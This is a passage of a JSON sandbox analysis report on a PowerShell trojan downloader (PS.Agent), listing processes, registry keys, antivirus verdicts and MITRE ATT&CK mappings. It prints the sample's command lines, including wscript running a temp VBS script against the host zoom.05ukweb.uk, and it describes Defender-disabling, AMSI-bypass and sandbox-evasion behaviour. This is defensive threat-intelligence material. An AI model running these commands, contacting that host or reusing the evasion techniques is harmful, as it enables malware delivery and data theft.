dll","bcrypt.dll","System.Data.ni.dll"],"processes":[{"command_line":"-f \"C:\\7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d.bin.ps1\"","icon":"$22","name":"powershell.exe","normalized_path":"%WINDIR%\\system32\\WindowsPowerShell\\v1.0\\powershell.exe","pid":6036,"ppid":0,"sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","uid":"00000000-00006036"},{"command_line":"%TEMP%\\oklnkae.vbs zoom.05ukweb.uk/ft 1","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","parent_uid":"00000000-00006036","pid":5276,"ppid":6036,"sha256":"1405f3fd5668c5357e374a918abd21e8d8408b2eda99af9ce593a702da1cc2aa","uid":"00000000-00005276"},{"command_line":"%TEMP%\\oklnkae.vbs zoom.05ukweb.uk/ft 2","name":"wscript.exe","normalized_path":"%WINDIR%\\System32\\wscript.exe","parent_uid":"00000000-00006036","pid":3076,"ppid":6036,"sha256":"1405f3fd5668c5357e374a918abd21e8d8408b2eda99af9ce593a702da1cc2aa","uid":"00000000-00003076"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\SECURITYPROVIDERS\\SCHANNEL\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS SCRIPT HOST\\SETTINGS\\","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]}],"keys_deleted":[],"keys_modified":[]},"sample_flags":["Extracted Files","Multi-Process","Network Traffic"],"sandbox_reports":[{"analysis_start_time":"2026-03-15T12:27:09+00:00","contacted_countries":["USA"],"environment_description":"Windows 10 64 bit","environment_id":160,"id":"69b6a59c3442f753c50edbba","indicators_count":{"informative":212,"malicious":4,"suspicious":33},"is_in_unified_schema":true,"malware_family":"PS.Agent","state":"SUCCESS","submit_name":"7a0b96f1063593a2e76f2f92ddfe091776a2ba63bc4f87f83dc5ebb675309d8d.bin","tags":["Multi-Process","Network Traffic","Extracted Files"],"threat_score":100,"verdict":"malicious"}],"stats":{"contacted_hosts_count":1,"contacted_urls_count":172,"dns_resolutions_count":1,"dropped_files_count":0,"embedded_domains_count":0,"embedded_ips_count":0,"embedded_urls_count":0,"extracted_files_count":4,"files_deleted_count":0,"files_written_count":17,"http_requests_count":172,"imported_dlls_count":142,"injected_processes_count":0,"mutex_created_count":31,"process_count":3,"registry_keys_created_count":46,"registry_keys_deleted_count":0,"registry_keys_modified_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":46,"script_calls_count":0,"spawned_processes_count":3}},"all_analysis_status":{"fastscan_status":"SUCCESS","qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS"},"detections":{"attributions":{"malware_families":[{"sources":[{"report_id":"","report_type":"quickscan"}],"value":"TrojanDownloader/PS.Agent"}]},"av_detections":{"engines":{"ahnlab":{"data_source":"MetaDefender","name":"AhnLab","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"antiy":{"data_source":"MetaDefender","name":"Antiy","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"aurora":{"data_source":"MetaDefender","name":"Aurora","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"avira":{"data_source":"MetaDefender","name":"Avira","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"bitdefender":{"data_source":"MetaDefender","name":"Bitdefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"clamav":{"data_source":"MetaDefender","name":"ClamAV","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"cmc":{"data_source":"MetaDefender","name":"CMC","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"emsisoft":{"data_source":"MetaDefender","name":"Emsisoft","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"eset":{"data_source":"MetaDefender","name":"ESET","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"filseclab":{"data_source":"MetaDefender","name":"Filseclab","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"gridinsoft":{"data_source":"MetaDefender","name":"Gridinsoft","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"huorong":{"data_source":"MetaDefender","name":"Huorong","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"threat_name":"HEUR:TrojanDownloader/PS.Agent.j","verdict":"malicious"},"k7":{"data_source":"MetaDefender","name":"K7","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"lionic":{"data_source":"MetaDefender","name":"Lionic","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"nanoav":{"data_source":"MetaDefender","name":"NANOAV","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"netgate":{"data_source":"MetaDefender","name":"NETGATE","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"rocketcyber":{"data_source":"MetaDefender","name":"RocketCyber","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"sophos":{"data_source":"MetaDefender","name":"Sophos","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"tachyon":{"data_source":"MetaDefender","name":"TACHYON","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"trellix":{"data_source":"MetaDefender","name":"Trellix","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"varist":{"data_source":"MetaDefender","name":"Varist","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"viritexplorer":{"data_source":"MetaDefender","name":"Vir.IT eXplorer","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"virusblokada":{"data_source":"MetaDefender","name":"VirusBlokAda","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"webrootsmd":{"data_source":"MetaDefender","name":"Webroot SMD","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"xcitium":{"data_source":"MetaDefender","name":"Xcitium","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"},"zillya":{"data_source":"MetaDefender","name":"Zillya!","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA","progress":100,"success":true,"verdict":"undetected"}}},"incidents":[{"details":[{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Collects system information using POST request"}],"details_count":3,"name":"Spyware","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"details":[{"detail":"Writes a file to the startup folder"}],"details_count":1,"name":"Persistence","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"details":[{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"details_count":1,"name":"Evasive","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]},{"details":[{"detail":"Contacts 1 domain and 1 host"}],"details_count":1,"name":"Network Behavior","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}]}],"mitre_attacks":[{"attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection"},{"attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism"},{"attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"suspicious","value":"Requested access to a critical system service"},{"type":"informative","value":"Requested access to a system service"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Service Discovery"},{"attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"},{"type":"informative","value":"Contains ability to copy files (API string)"},{"type":"informative","value":"Queries the display settings of system associated file extensions"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Collection","technique":"Data from Local System"},{"attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Owner/User Discovery"},{"attack_id":"T1565","attack_id_wiki":"https://attack.mitre.org/techniques/T1565","identifiers":[{"type":"informative","value":"Contains ability to modify data representation (Powershell command string)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Impact","technique":"Data Manipulation"},{"attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Persistence","technique":"Socket Filters"},{"attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"informative","value":"Found WMI keywords in script (string)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Execution","technique":"Windows Management Instrumentation"},{"attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft"},{"attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Code Signing"},{"attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"informative","value":"Modifies proxy settings"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Internal Proxy"},{"attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Command and Control","technique":"DNS"},{"attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Create Process with Token"},{"attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"informative","value":"Able to modify Windows Defender exclusions (Powershell command string)"},{"type":"informative","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains ability to modify Windows Defender preferences (Powershell command string)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Disable or Modify Tools"},{"attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Exfiltration","technique":"Scheduled Transfer"},{"attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Calls an API typically used to import cryptographic keys into a CSP"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Impact","technique":"Data Encrypted for Impact"},{"attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Execution","technique":"Inter-Process Communication"},{"attack_id":"T1059.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/005","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Execution","technique":"Visual Basic"},{"attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder"},{"attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Able to identify sandbox environment running process"},{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"},{"type":"informative","value":"Able to detect virtual machine (string)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion"},{"attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Reflective Code Loading"},{"attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Collection","technique":"Data from Information Repositories"},{"attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Observed system process names in POST request"},{"type":"malicious","value":"Collects system information using POST request"},{"type":"suspicious","value":"POSTs data to a web server"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel"},{"attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"ListPlanting"},{"attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection"},{"attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Calls an API typically used to acquire handle to a key container within a CSP"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Obfuscated Files or Information"},{"attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Discovery","technique":"Account Discovery"},{"attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets"},{"attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Tries to access recent files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access LNK files (Windows shortcut)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Tries to access Powershell profile file"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Discovery","technique":"File and Directory Discovery"},{"attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Resource Development","technique":"Domains"},{"attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Calls an API typically used to create a process"}],"sources":[{"report_id":"69b6a59c3442f753c50edbba","report_type":"sandbox"}],"tactic":"Execution","technique":"Native 